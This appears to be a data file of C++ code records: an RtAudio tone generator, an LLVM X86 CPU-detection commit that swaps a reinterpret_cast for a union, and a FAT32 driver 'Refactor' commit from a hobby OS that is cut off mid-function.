MY_FORMAT RTAUDIO_FLOAT64\n\n\/\/ Sample Rate = (avg. # of samples)\/second = 1\/T, where T is sampling interval\n#define MY_SRATE 44100\n\n\/\/ number of channels\n#define MY_CHANNELS 2\n\n#define MY_PIE 3.14159265358979\n\n\/* ----------------------globals--------------------- *\/\n\n\/\/ global for frequency\nSAMPLE g_freq = 440;\n\n\/\/ global sample number variable\nSAMPLE g_t = 0;\n\nSAMPLE g_width = 0;\n\n\/\/ type of signal requested by user, enumerated in function determine_signal\nint g_sig = 0;\n\n\/*---------------------------------------------------- *\/\n\n\/*\n * @funtion audio_callback The RtAudioCallback function.\n * @param outputBuffer Pointer to the buffer that holds the output.\n * @param inputBuffer Pointer to the buffer that holds the input.\n * @param numFrames The number of sample frames held by input buffer\n    and written to output buffer.\n * @param streamTime The number of seconds (double) that the signal streams.\n * @param status Notifies if there is an output\/input overflow\/underflow.\n * @param data Pointer to optional data provided by the client\n    when opening the stream (default = NULL).\n   @return Zero to maintain normal stream. One to stop the stream and drain the\n   output buffer. Two to abort the stream immediately.\n *\/\nint audio_callback(void *outputBuffer, void *inputBuffer, unsigned int numFrames,\n     double streamTime, RtAudioStreamStatus status, void *data ) {\n\n         \/\/ stderr prints info and err messages (info about callback here)\n         cerr << \".\";\n\n         \/\/ outputBuffer points to array of SAMPLEs\n         SAMPLE *buffer = (SAMPLE *) outputBuffer;\n         for(int i = 0; i < numFrames; i++)\n         {\n            \/\/ generate signal in even-indexed slots of the buffer\n            switch(g_sig) {\n                case 1: \/\/ sine\n                    buffer[i * MY_CHANNELS] = sin(2 * MY_PIE * g_freq * g_t \/ MY_SRATE);\n                    break;\n                case 2: \/\/ saw\n                    break;\n                case 3: \/\/ pulse\n                    break;\n                case 4: \/\/ noise (white noise)\n                    buffer[i * MY_CHANNELS] = (rand() % 100) \/ 10;\n                    break;\n                case 5: \/\/ impulse\n                    \n                    break;\n                default: \/\/ any erroneous input in the type argument\n                    return 2;\n            }\n\n             \/\/ copy signal into odd-indexed slots of the buffer\n             for(int j = 1; j < MY_CHANNELS; j++)\n                 buffer[i * MY_CHANNELS + j] = buffer[i * MY_CHANNELS];\n\n             \/\/ increment sample number\n             g_t += 1.0;\n         }\n         return 0;\n}\n\n\/*\n * @funtion determine_signal Returns an integer based on the type of command given.\n * @param arg command given by user input\n *\/\nint determine_signal(string arg) {\n\n    \/\/ sine\n    if (arg == \"--sine\") {\n        return 1;\n    }\n\n    \/\/ saw\n    else if (arg == \"--saw\"){\n        return 2;\n    }\n\n    \/\/ pulse\n    else if (arg == \"--pulse\"){\n        return 3;\n    }\n\n    \/\/ noise\n    else if (arg == \"--noise\"){\n        return 4;\n    }\n\n    \/\/impulse\n    else if (arg == \"--impulse\") {\n        return 5;\n    } \n\n    \/\/ arg is some other input not defined by this program\n    else {\n        return -1;\n    }\n}\n\nint main(int argc, char const *argv[]) {\n\n    \/\/ error checking for .\/sig_gen with no additional arguments\n    if (argc <= 1) {\n        cout << \"Not enough arguments. Must give type of signal generation.\" << endl;\n        exit(1);\n    }\n\n    \/\/ error checking for more than four arguments\n    if (argc > 4) {\n        cout << \"Too many arguments. Only give command [type] [frequency] [width].\" << endl;\n        exit(1);\n    }\n\n    \/\/ determines which type of signal user wants to generate\n    g_sig = determine_signal(string(argv[1]));\n\n    \/\/ instantiate RtAudio object\n    RtAudio audio;\n\n    \/\/ frame size\n    unsigned int bufferFrames = 512;\n    unsigned int bufferBytes = 0;\n\n    \/\/ check for audio devices\n    if(audio.getDeviceCount() < 1)\n    {\n        cout << \"no audio devices found!\" << endl;\n        exit(1);\n    }\n\n    \/\/ let RtAudio print messages to stderr.\n    audio.showWarnings(true);\n\n    \/\/ set input and output parameters\n    RtAudio::StreamParameters iParams, oParams;\n    iParams.deviceId = audio.getDefaultInputDevice();\n    iParams.nChannels = MY_CHANNELS;\n    iParams.firstChannel = 0;\n    oParams.deviceId = audio.getDefaultOutputDevice();\n    oParams.nChannels = MY_CHANNELS;\n    oParams.firstChannel = 0;\n\n    \/\/ create stream options\n    RtAudio::StreamOptions options;\n\n    try {\n        \/\/ open a stream\n        audio.openStream(&oParams, &iParams, MY_FORMAT, MY_SRATE, &bufferFrames,\n            &audio_callback, (void *) &bufferBytes, &options);\n    }\n    catch(RtError& e)\n    {\n        cout << e.getMessage() << endl;\n        exit(1);\n    }\n\n    \/\/ compute\n    bufferBytes = bufferFrames * MY_CHANNELS * sizeof(SAMPLE);\n\n    \/\/ test RtAudio functionality for reporting latency.\n    cout << \"stream latency: \" << audio.getStreamLatency() << \" frames\" << endl;\n\n    \/\/ go for it\n    try {\n        \/\/ start stream\n        audio.startStream();\n\n        \/\/ get input\n        char input;\n        std::cout << \"running... press <enter> to quit (buffer frames: \" << bufferFrames << \")\" << endl;\n        std::cin.get(input);\n\n        \/\/ stop the stream.\n        audio.stopStream();\n    }\n    catch(RtError& e)\n    {\n        \/\/ print error message\n        cout << e.getMessage() << endl;\n        goto cleanup;\n    }\n\n    cleanup:\n        \/\/ close if open\n        if(audio.isStreamOpen())\n            audio.closeStream();\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- X86Subtarget.cpp - X86 Subtarget Information ------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by Nate Begeman and is distributed under the\n\/\/ University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements the X86 specific subclass of TargetSubtarget.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"X86Subtarget.h\"\n#include \"llvm\/Module.h\"\n#include \"X86GenSubtarget.inc\"\nusing namespace llvm;\n\n\/\/ FIXME: temporary.\n#include \"llvm\/Support\/CommandLine.h\"\nnamespace {\n  cl::opt<bool> EnableSSE(\"enable-x86-sse\", cl::Hidden,\n                          cl::desc(\"Enable sse on X86\"));\n}\n\n\/\/\/ GetCpuIDAndInfo - Execute the specified cpuid and return the 4 values in the\n\/\/\/ specified arguments.  If we can't run cpuid on the host, return true.\nstatic bool GetCpuIDAndInfo(unsigned value, unsigned *rEAX, unsigned *rEBX,\n                            unsigned *rECX, unsigned *rEDX) {\n#if defined(i386) || defined(__i386__) || defined(__x86__) || defined(_M_IX86)\n#if defined(__GNUC__)\n  asm (\"pushl\\t%%ebx\\n\\t\"\n       \"cpuid\\n\\t\"\n       \"movl\\t%%ebx, %%esi\\n\\t\"\n       \"popl\\t%%ebx\"\n       : \"=a\" (*rEAX),\n         \"=S\" (*rEBX),\n         \"=c\" (*rECX),\n         \"=d\" (*rEDX)\n       :  \"a\" (value));\n  return false;\n#elif defined(_MSC_VER)\n  __asm {\n    mov   eax,value\n    cpuid\n    mov   esi,rEAX\n    mov   dword ptr [esi],eax\n    mov   esi,rEBX\n    mov   dword ptr [esi],ebx\n    mov   esi,rECX\n    mov   dword ptr [esi],ecx\n    mov   esi,rEDX\n    mov   dword ptr [esi],edx\n  }\n  return false;\n#endif\n#endif\n  return true;\n}\n\nstatic const char *GetCurrentX86CPU() {\n  unsigned EAX = 0, EBX = 0, ECX = 0, EDX = 0;\n  if (GetCpuIDAndInfo(0x1, &EAX, &EBX, &ECX, &EDX))\n    return \"generic\";\n  unsigned Family  = (EAX & (0xffffffff >> (32 - 4)) << 8) >> 8; \/\/ Bits 8 - 11\n  unsigned Model   = (EAX & (0xffffffff >> (32 - 4)) << 4) >> 4; \/\/ Bits 4 - 7\n  GetCpuIDAndInfo(0x80000001, &EAX, &EBX, &ECX, &EDX);\n  bool Em64T = EDX & (1 << 29);\n\n  unsigned text[12];\n  GetCpuIDAndInfo(0x80000002, text+0, text+1, text+2, text+3);\n  GetCpuIDAndInfo(0x80000003, text+4, text+5, text+6, text+7);\n  GetCpuIDAndInfo(0x80000004, text+8, text+9, text+10, text+11);\n  char *t = reinterpret_cast<char *>(&text[0]);\n  while (*t == ' ')\n\t  t++;\n\n  if (memcmp(t, \"Intel\", 5) == 0) {\n    switch (Family) {\n      case 3:\n        return \"i386\";\n      case 4:\n        return \"i486\";\n      case 5:\n        switch (Model) {\n        case 4:  return \"pentium-mmx\";\n        default: return \"pentium\";\n        }\n      case 6:\n        switch (Model) {\n        case 1:  return \"pentiumpro\";\n        case 3:\n        case 5:\n        case 6:  return \"pentium2\";\n        case 7:\n        case 8:\n        case 10:\n        case 11: return \"pentium3\";\n        case 9:\n        case 13: return \"pentium-m\";\n        case 14: return \"yonah\";\n        default: return \"i686\";\n        }\n      case 15: {\n        switch (Model) {\n        case 3:  \n        case 4:\n          return (Em64T) ? \"nocona\" : \"prescott\";\n        default:\n          return (Em64T) ? \"x86-64\" : \"pentium4\";\n        }\n      }\n        \n    default:\n      return \"generic\";\n    }\n  } else if (memcmp(t, \"AMD\", 3) == 0) {\n    \/\/ FIXME: fill in remaining family\/model combinations\n    switch (Family) {\n      case 15:\n        return (Em64T) ? \"athlon64\" : \"athlon\";\n\n    default:\n      return \"generic\";\n    }\n  } else {\n    return \"generic\";\n  }\n}\n\nX86Subtarget::X86Subtarget(const Module &M, const std::string &FS) {\n  stackAlignment = 8;\n  indirectExternAndWeakGlobals = false;\n  X86SSELevel = NoMMXSSE;\n  X863DNowLevel = NoThreeDNow;\n  Is64Bit = false;\n\n  \/\/ Determine default and user specified characteristics\n  std::string CPU = GetCurrentX86CPU();\n\n  \/\/ Parse features string.\n  ParseSubtargetFeatures(FS, CPU);\n\n  \/\/ Default to ELF unless otherwise specified.\n  TargetType = isELF;\n  \n  \/\/ FIXME: Force these off until they work.  An llc-beta option should turn\n  \/\/ them back on.\n  if (!EnableSSE) {\n    X86SSELevel = NoMMXSSE;\n    X863DNowLevel = NoThreeDNow;\n  }\n      \n  \/\/ Set the boolean corresponding to the current target triple, or the default\n  \/\/ if one cannot be determined, to true.\n  const std::string& TT = M.getTargetTriple();\n  if (TT.length() > 5) {\n    if (TT.find(\"cygwin\") != std::string::npos ||\n        TT.find(\"mingw\")  != std::string::npos)\n      TargetType = isCygwin;\n    else if (TT.find(\"darwin\") != std::string::npos)\n      TargetType = isDarwin;\n    else if (TT.find(\"win32\") != std::string::npos)\n      TargetType = isWindows;\n  } else if (TT.empty()) {\n#if defined(__CYGWIN__) || defined(__MINGW32__)\n    TargetType = isCygwin;\n#elif defined(__APPLE__)\n    TargetType = isDarwin;\n#elif defined(_WIN32)\n    TargetType = isWindows;\n#endif\n  }\n\n  if (TargetType == isDarwin) {\n    stackAlignment = 16;\n    indirectExternAndWeakGlobals = true;\n  }\n}\n<commit_msg>Use union instead of reinterpret_cast.<commit_after>\/\/===-- X86Subtarget.cpp - X86 Subtarget Information ------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by Nate Begeman and is distributed under the\n\/\/ University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements the X86 specific subclass of TargetSubtarget.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"X86Subtarget.h\"\n#include \"llvm\/Module.h\"\n#include \"X86GenSubtarget.inc\"\nusing namespace llvm;\n\n\/\/ FIXME: temporary.\n#include \"llvm\/Support\/CommandLine.h\"\nnamespace {\n  cl::opt<bool> EnableSSE(\"enable-x86-sse\", cl::Hidden,\n                          cl::desc(\"Enable sse on X86\"));\n}\n\n\/\/\/ GetCpuIDAndInfo - Execute the specified cpuid and return the 4 values in the\n\/\/\/ specified arguments.  If we can't run cpuid on the host, return true.\nstatic bool GetCpuIDAndInfo(unsigned value, unsigned *rEAX, unsigned *rEBX,\n                            unsigned *rECX, unsigned *rEDX) {\n#if defined(i386) || defined(__i386__) || defined(__x86__) || defined(_M_IX86)\n#if defined(__GNUC__)\n  asm (\"pushl\\t%%ebx\\n\\t\"\n       \"cpuid\\n\\t\"\n       \"movl\\t%%ebx, %%esi\\n\\t\"\n       \"popl\\t%%ebx\"\n       : \"=a\" (*rEAX),\n         \"=S\" (*rEBX),\n         \"=c\" (*rECX),\n         \"=d\" (*rEDX)\n       :  \"a\" (value));\n  return false;\n#elif defined(_MSC_VER)\n  __asm {\n    mov   eax,value\n    cpuid\n    mov   esi,rEAX\n    mov   dword ptr [esi],eax\n    mov   esi,rEBX\n    mov   dword ptr [esi],ebx\n    mov   esi,rECX\n    mov   dword ptr [esi],ecx\n    mov   esi,rEDX\n    mov   dword ptr [esi],edx\n  }\n  return false;\n#endif\n#endif\n  return true;\n}\n\nstatic const char *GetCurrentX86CPU() {\n  unsigned EAX = 0, EBX = 0, ECX = 0, EDX = 0;\n  if (GetCpuIDAndInfo(0x1, &EAX, &EBX, &ECX, &EDX))\n    return \"generic\";\n  unsigned Family  = (EAX & (0xffffffff >> (32 - 4)) << 8) >> 8; \/\/ Bits 8 - 11\n  unsigned Model   = (EAX & (0xffffffff >> (32 - 4)) << 4) >> 4; \/\/ Bits 4 - 7\n  GetCpuIDAndInfo(0x80000001, &EAX, &EBX, &ECX, &EDX);\n  bool Em64T = EDX & (1 << 29);\n\n  union {\n    unsigned u[12];\n    char     c[48];\n  } text;\n\n  GetCpuIDAndInfo(0x80000002, text.u+0, text.u+1, text.u+2, text.u+3);\n  GetCpuIDAndInfo(0x80000003, text.u+4, text.u+5, text.u+6, text.u+7);\n  GetCpuIDAndInfo(0x80000004, text.u+8, text.u+9, text.u+10, text.u+11);\n  char *t = text.c;\n  while (*t == ' ')\n\t  t++;\n\n  if (memcmp(t, \"Intel\", 5) == 0) {\n    switch (Family) {\n      case 3:\n        return \"i386\";\n      case 4:\n        return \"i486\";\n      case 5:\n        switch (Model) {\n        case 4:  return \"pentium-mmx\";\n        default: return \"pentium\";\n        }\n      case 6:\n        switch (Model) {\n        case 1:  return \"pentiumpro\";\n        case 3:\n        case 5:\n        case 6:  return \"pentium2\";\n        case 7:\n        case 8:\n        case 10:\n        case 11: return \"pentium3\";\n        case 9:\n        case 13: return \"pentium-m\";\n        case 14: return \"yonah\";\n        default: return \"i686\";\n        }\n      case 15: {\n        switch (Model) {\n        case 3:  \n        case 4:\n          return (Em64T) ? \"nocona\" : \"prescott\";\n        default:\n          return (Em64T) ? \"x86-64\" : \"pentium4\";\n        }\n      }\n        \n    default:\n      return \"generic\";\n    }\n  } else if (memcmp(t, \"AMD\", 3) == 0) {\n    \/\/ FIXME: fill in remaining family\/model combinations\n    switch (Family) {\n      case 15:\n        return (Em64T) ? \"athlon64\" : \"athlon\";\n\n    default:\n      return \"generic\";\n    }\n  } else {\n    return \"generic\";\n  }\n}\n\nX86Subtarget::X86Subtarget(const Module &M, const std::string &FS) {\n  stackAlignment = 8;\n  indirectExternAndWeakGlobals = false;\n  X86SSELevel = NoMMXSSE;\n  X863DNowLevel = NoThreeDNow;\n  Is64Bit = false;\n\n  \/\/ Determine default and user specified characteristics\n  std::string CPU = GetCurrentX86CPU();\n\n  \/\/ Parse features string.\n  ParseSubtargetFeatures(FS, CPU);\n\n  \/\/ Default to ELF unless otherwise specified.\n  TargetType = isELF;\n  \n  \/\/ FIXME: Force these off until they work.  An llc-beta option should turn\n  \/\/ them back on.\n  if (!EnableSSE) {\n    X86SSELevel = NoMMXSSE;\n    X863DNowLevel = NoThreeDNow;\n  }\n      \n  \/\/ Set the boolean corresponding to the current target triple, or the default\n  \/\/ if one cannot be determined, to true.\n  const std::string& TT = M.getTargetTriple();\n  if (TT.length() > 5) {\n    if (TT.find(\"cygwin\") != std::string::npos ||\n        TT.find(\"mingw\")  != std::string::npos)\n      TargetType = isCygwin;\n    else if (TT.find(\"darwin\") != std::string::npos)\n      TargetType = isDarwin;\n    else if (TT.find(\"win32\") != std::string::npos)\n      TargetType = isWindows;\n  } else if (TT.empty()) {\n#if defined(__CYGWIN__) || defined(__MINGW32__)\n    TargetType = isCygwin;\n#elif defined(__APPLE__)\n    TargetType = isDarwin;\n#elif defined(_WIN32)\n    TargetType = isWindows;\n#endif\n  }\n\n  if (TargetType == isDarwin) {\n    stackAlignment = 16;\n    indirectExternAndWeakGlobals = true;\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2013.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include \"fat32.hpp\"\n#include \"console.hpp\"\n\n#include \"stl\/types.hpp\"\n#include \"stl\/unique_ptr.hpp\"\n#include \"stl\/algorithms.hpp\"\n#include \"stl\/pair.hpp\"\n\nnamespace {\n\n\/\/FAT 32 Boot Sector\nstruct fat_bs_t {\n    uint8_t jump[3];\n    char oem_name[8];\n    uint16_t bytes_per_sector;\n    uint8_t sectors_per_cluster;\n    uint16_t reserved_sectors;\n    uint8_t number_of_fat;\n    uint16_t root_directories_entries;\n    uint16_t total_sectors;\n    uint8_t media_descriptor;\n    uint16_t sectors_per_fat;\n    uint16_t sectors_per_track;\n    uint16_t heads;\n    uint32_t hidden_sectors;\n    uint32_t total_sectors_long;\n    uint32_t sectors_per_fat_long;\n    uint16_t drive_description;\n    uint16_t version;\n    uint32_t root_directory_cluster_start;\n    uint16_t fs_information_sector;\n    uint16_t boot_sectors_copy_sector;\n    uint8_t filler[12];\n    uint8_t physical_drive_number;\n    uint8_t reserved;\n    uint8_t extended_boot_signature;\n    uint32_t volume_id;\n    char volume_label[11];\n    char file_system_type[8];\n    uint8_t boot_code[420];\n    uint16_t signature;\n}__attribute__ ((packed));\n\nstruct fat_is_t {\n    uint32_t signature_start;\n    uint8_t reserved[480];\n    uint32_t signature_middle;\n    uint32_t free_clusters;\n    uint32_t allocated_clusters;\n    uint8_t reserved_2[12];\n    uint32_t signature_end;\n}__attribute__ ((packed));\n\nstatic_assert(sizeof(fat_bs_t) == 512, \"FAT Boot Sector is exactly one disk sector\");\n\nstruct cluster_entry {\n    char name[11];\n    uint8_t attrib;\n    uint8_t reserved;\n    uint8_t creation_time_seconds;\n    uint16_t creation_time;\n    uint16_t creation_date;\n    uint16_t accessed_date;\n    uint16_t cluster_high;\n    uint16_t modification_time;\n    uint16_t modification_date;\n    uint16_t cluster_low;\n    uint32_t file_size;\n} __attribute__ ((packed));\n\nstatic_assert(sizeof(cluster_entry) == 32, \"A cluster entry is 32 bytes\");\n\nuint64_t cached_disk = -1;\nuint64_t cached_partition = -1;\nuint64_t partition_start;\n\nfat_bs_t* fat_bs = nullptr;\nfat_is_t* fat_is = nullptr;\n\nvoid cache_bs(fat32::dd disk, const disks::partition_descriptor& partition){\n    std::unique_ptr<fat_bs_t> fat_bs_tmp(new fat_bs_t());\n\n    if(read_sectors(disk, partition.start, 1, fat_bs_tmp.get())){\n        fat_bs = fat_bs_tmp.release();\n\n        \/\/TODO fat_bs->signature should be 0xAA55\n        \/\/TODO fat_bs->file_system_type should be FAT32\n    } else {\n        fat_bs = nullptr;\n    }\n}\n\nvoid cache_is(fat32::dd disk, const disks::partition_descriptor& partition){\n    auto fs_information_sector = partition.start + static_cast<uint64_t>(fat_bs->fs_information_sector);\n\n    std::unique_ptr<fat_is_t> fat_is_tmp(new fat_is_t());\n\n    if(read_sectors(disk, fs_information_sector, 1, fat_is_tmp.get())){\n        fat_is = fat_is_tmp.release();\n\n        \/\/TODO fat_is->signature_start should be 0x52 0x52 0x61 0x41\n        \/\/TODO fat_is->signature_middle should be 0x72 0x72 0x41 0x61\n        \/\/TODO fat_is->signature_end should be 0x00 0x00 0x55 0xAA\n    } else {\n        fat_is = nullptr;\n    }\n}\n\nuint64_t cluster_lba(uint64_t cluster){\n    uint64_t fat_begin = partition_start + fat_bs->reserved_sectors;\n    uint64_t cluster_begin = fat_begin + (fat_bs->number_of_fat * fat_bs->sectors_per_fat_long);\n\n    return cluster_begin + (cluster - 2 ) * fat_bs->sectors_per_cluster;\n}\n\nuint32_t read_fat_value(fat32::dd disk, uint32_t cluster){\n    uint64_t fat_begin = partition_start + fat_bs->reserved_sectors;\n    uint32_t cluster_size = 512 * fat_bs->sectors_per_cluster;\n\n    uint64_t fat_sector = fat_begin + (cluster * 4) \/ cluster_size;\n\n    std::unique_heap_array<uint32_t> fat_table(cluster_size \/ sizeof(uint32_t));\n    if(read_sectors(disk, fat_sector, fat_bs->sectors_per_cluster, fat_table.get())){\n        uint64_t entry_offset = ((cluster * 4) % cluster_size) \/ 4;\n        return fat_table[entry_offset] & 0x0FFFFFFF;\n    } else {\n        return 0;\n    }\n}\n\nuint32_t next_cluster(fat32::dd disk, uint32_t cluster){\n    auto fat_value = read_fat_value(disk, cluster);\n    if(fat_value >= 0x0FFFFFF8){\n        return 0;\n    }\n\n    return fat_value;\n}\n\ninline bool entry_used(const cluster_entry& entry){\n    return static_cast<unsigned char>(entry.name[0]) != 0xE5;\n}\n\ninline bool end_of_directory(const cluster_entry& entry){\n    return entry.name[0] == 0x0;\n}\n\ninline bool is_long_name(const cluster_entry& entry){\n    return entry.attrib == 0x0F;\n}\n\nstd::vector<disks::file> files(const std::unique_heap_array<cluster_entry>& cluster){\n    std::vector<disks::file> files;\n\n    bool end_reached = false;\n\n    for(auto& entry : cluster){\n        if(end_of_directory(entry)){\n            end_reached = true;\n            break;\n        }\n\n        if(entry_used(entry)){\n            disks::file file;\n\n            if(is_long_name(entry)){\n                \/\/It is a long file name\n                \/\/TODO Add suppport for long file name\n                file.file_name = \"LONG\";\n            } else {\n                \/\/It is a normal file name\n                \/\/Copy the name until the first space\n\n                for(size_t s = 0; s < 11; ++s){\n                    if(entry.name[s] == ' '){\n                        break;\n                    }\n\n                    file.file_name += entry.name[s];\n                }\n            }\n\n            file.hidden = entry.attrib & 0x1;\n            file.system = entry.attrib & 0x2;\n            file.directory = entry.attrib & 0x10;\n            file.size = entry.file_size;\n\n            files.push_back(file);\n        }\n    }\n\n    \/\/TODO If end_reached not true, we should read the next cluster\n\n    return std::move(files);\n}\n\nstd::vector<disks::file> files(fat32::dd disk, uint64_t cluster_addr){\n    std::unique_heap_array<cluster_entry> cluster(16 * fat_bs->sectors_per_cluster);\n\n    if(read_sectors(disk, cluster_lba(cluster_addr), fat_bs->sectors_per_cluster, cluster.get())){\n        return files(cluster);\n    } else {\n        return {};\n    }\n}\n\nsize_t filename_length(char* filename){\n    for(size_t s = 0; s < 11; ++s){\n        if(filename[s] == ' '){\n            return s;\n        }\n    }\n\n    return 11;\n}\n\nbool filename_equals(char* name, const std::string& path){\n    auto length = filename_length(name);\n\n    if(path.size() != length){\n        return false;\n    }\n\n    for(size_t i = 0; i < length; ++i){\n        if(path[i] != name[i]){\n            return false;\n        }\n    }\n\n    return true;\n}\n\nbool cache_disk_partition(fat32::dd disk, const disks::partition_descriptor& partition){\n    if(cached_disk != disk.uuid || cached_partition != partition.uuid){\n        partition_start = partition.start;\n\n        cache_bs(disk, partition);\n        cache_is(disk, partition);\n\n        cached_disk = disk.uuid;\n        cached_partition = partition.uuid;\n    }\n\n    \/\/Something may go wrong when reading the two base vectors\n    return fat_bs && fat_is;\n}\n\nstd::pair<bool, std::unique_heap_array<cluster_entry>> find_cluster(fat32::dd disk, const std::vector<std::string>& path){\n    auto cluster_addr = cluster_lba(fat_bs->root_directory_cluster_start);\n\n    std::unique_heap_array<cluster_entry> current_cluster(16 * fat_bs->sectors_per_cluster);\n\n    if(read_sectors(disk, cluster_addr, fat_bs->sectors_per_cluster, current_cluster.get())){\n        for(auto& p : path){\n            bool found = false;\n            bool end_reached = false;\n\n            for(auto& entry : current_cluster){\n                if(end_of_directory(entry)){\n                    end_reached = true;\n                    break;\n                }\n\n                if(entry_used(entry) && !is_long_name(entry) && entry.attrib & 0x10){\n                    \/\/entry.name is not a real c_string, cannot be compared\n                    \/\/directly\n                    if(filename_equals(entry.name, p)){\n                        std::unique_heap_array<cluster_entry> cluster(16 * fat_bs->sectors_per_cluster);\n\n                        if(read_sectors(disk, cluster_lba(entry.cluster_low + (entry.cluster_high << 16)),\n                                fat_bs->sectors_per_cluster, cluster.get())){\n                            current_cluster = std::move(cluster);\n                            found = true;\n\n                            break;\n                        } else {\n                            return std::make_pair(false, std::unique_heap_array<cluster_entry>());\n                        }\n                    }\n                }\n            }\n\n            if(!found){\n                \/\/TODO If not end_reached, read the next cluster\n\n                return std::make_pair(false, std::unique_heap_array<cluster_entry>());\n            }\n        }\n\n        return std::make_pair(true, std::move(current_cluster));\n    }\n\n    return std::make_pair(false, std::unique_heap_array<cluster_entry>());\n}\n\n} \/\/end of anonymous namespace\n\nuint64_t fat32::free_size(dd disk, const disks::partition_descriptor& partition){\n    if(!cache_disk_partition(disk, partition)){\n        return 0;\n    }\n\n    return fat_is->free_clusters * fat_bs->sectors_per_cluster * 512;\n}\n\nstd::vector<disks::file> fat32::ls(dd disk, const disks::partition_descriptor& partition, const std::vector<std::string>& path){\n    if(!cache_disk_partition(disk, partition)){\n        return {};\n    }\n\n    auto cluster = find_cluster(disk, path);\n\n    if(cluster.first){\n        return files(cluster.second);\n    } else {\n        return {};\n    }\n}\n\nstd::string fat32::read_file(dd disk, const disks::partition_descriptor& partition, const std::vector<std::string>& path, const std::string& file){\n    if(!cache_disk_partition(disk, partition)){\n        return {};\n    }\n\n    auto result = find_cluster(disk, path);\n\n    if(result.first){\n        auto& directory_cluster = result.second;\n\n        bool found = false;\n        bool end_reached = false;\n\n        for(auto& entry : directory_cluster){\n            if(end_of_directory(entry)){\n                end_reached = true;\n                break;\n            }\n\n            if(entry_used(entry) && !is_long_name(entry) && !(entry.attrib & 0x10)){\n                if(filename_equals(entry.name, file)){\n                    std::string content(entry.file_size + 1);\n\n                    auto cluster = entry.cluster_low + (entry.cluster_high << 16);\n\n                    size_t read = 0;\n\n                    while(read < entry.file_size){\n                        size_t cluster_size = 512 * fat_bs->sectors_per_cluster;\n                        std::unique_heap_array<char> sector(cluster_size);\n\n                        if(read_sectors(disk, cluster_lba(cluster), fat_bs->sectors_per_cluster, sector.get())){\n                            for(size_t i = 0; i < cluster_size && read < entry.file_size; ++i,++read){\n                                content += sector[i];\n                            }\n                        } else {\n                            break;\n                        }\n\n                        \/\/If the file is not read completely, get the next\n                        \/\/cluster\n                        if(read < entry.file_size){\n                            auto next = next_cluster(disk, cluster);\n\n                            \/\/It may be possible that either the file size or\n                            \/\/the FAT entry is wrong\n                            if(!next){\n                                break;\n                            }\n\n                            \/\/The block is corrupted\n                            if(next == 0x0FFFFFF7){\n                                break;\n                            }\n\n                            cluster = next;\n                        }\n                    }\n\n                    return std::move(content);\n                }\n            }\n        }\n\n        if(!found && end_reached){\n            \/\/TODO Read the next cluster to find the file\n        }\n    }\n\n    return {};\n}\n<commit_msg>Refactor<commit_after>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2013.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include \"fat32.hpp\"\n#include \"console.hpp\"\n\n#include \"stl\/types.hpp\"\n#include \"stl\/unique_ptr.hpp\"\n#include \"stl\/algorithms.hpp\"\n#include \"stl\/pair.hpp\"\n\nnamespace {\n\n\/\/FAT 32 Boot Sector\nstruct fat_bs_t {\n    uint8_t jump[3];\n    char oem_name[8];\n    uint16_t bytes_per_sector;\n    uint8_t sectors_per_cluster;\n    uint16_t reserved_sectors;\n    uint8_t number_of_fat;\n    uint16_t root_directories_entries;\n    uint16_t total_sectors;\n    uint8_t media_descriptor;\n    uint16_t sectors_per_fat;\n    uint16_t sectors_per_track;\n    uint16_t heads;\n    uint32_t hidden_sectors;\n    uint32_t total_sectors_long;\n    uint32_t sectors_per_fat_long;\n    uint16_t drive_description;\n    uint16_t version;\n    uint32_t root_directory_cluster_start;\n    uint16_t fs_information_sector;\n    uint16_t boot_sectors_copy_sector;\n    uint8_t filler[12];\n    uint8_t physical_drive_number;\n    uint8_t reserved;\n    uint8_t extended_boot_signature;\n    uint32_t volume_id;\n    char volume_label[11];\n    char file_system_type[8];\n    uint8_t boot_code[420];\n    uint16_t signature;\n}__attribute__ ((packed));\n\nstruct fat_is_t {\n    uint32_t signature_start;\n    uint8_t reserved[480];\n    uint32_t signature_middle;\n    uint32_t free_clusters;\n    uint32_t allocated_clusters;\n    uint8_t reserved_2[12];\n    uint32_t signature_end;\n}__attribute__ ((packed));\n\nstatic_assert(sizeof(fat_bs_t) == 512, \"FAT Boot Sector is exactly one disk sector\");\n\nstruct cluster_entry {\n    char name[11];\n    uint8_t attrib;\n    uint8_t reserved;\n    uint8_t creation_time_seconds;\n    uint16_t creation_time;\n    uint16_t creation_date;\n    uint16_t accessed_date;\n    uint16_t cluster_high;\n    uint16_t modification_time;\n    uint16_t modification_date;\n    uint16_t cluster_low;\n    uint32_t file_size;\n} __attribute__ ((packed));\n\nstatic_assert(sizeof(cluster_entry) == 32, \"A cluster entry is 32 bytes\");\n\nuint64_t cached_disk = -1;\nuint64_t cached_partition = -1;\nuint64_t partition_start;\n\nfat_bs_t* fat_bs = nullptr;\nfat_is_t* fat_is = nullptr;\n\nvoid cache_bs(fat32::dd disk, const disks::partition_descriptor& partition){\n    std::unique_ptr<fat_bs_t> fat_bs_tmp(new fat_bs_t());\n\n    if(read_sectors(disk, partition.start, 1, fat_bs_tmp.get())){\n        fat_bs = fat_bs_tmp.release();\n\n        \/\/TODO fat_bs->signature should be 0xAA55\n        \/\/TODO fat_bs->file_system_type should be FAT32\n    } else {\n        fat_bs = nullptr;\n    }\n}\n\nvoid cache_is(fat32::dd disk, const disks::partition_descriptor& partition){\n    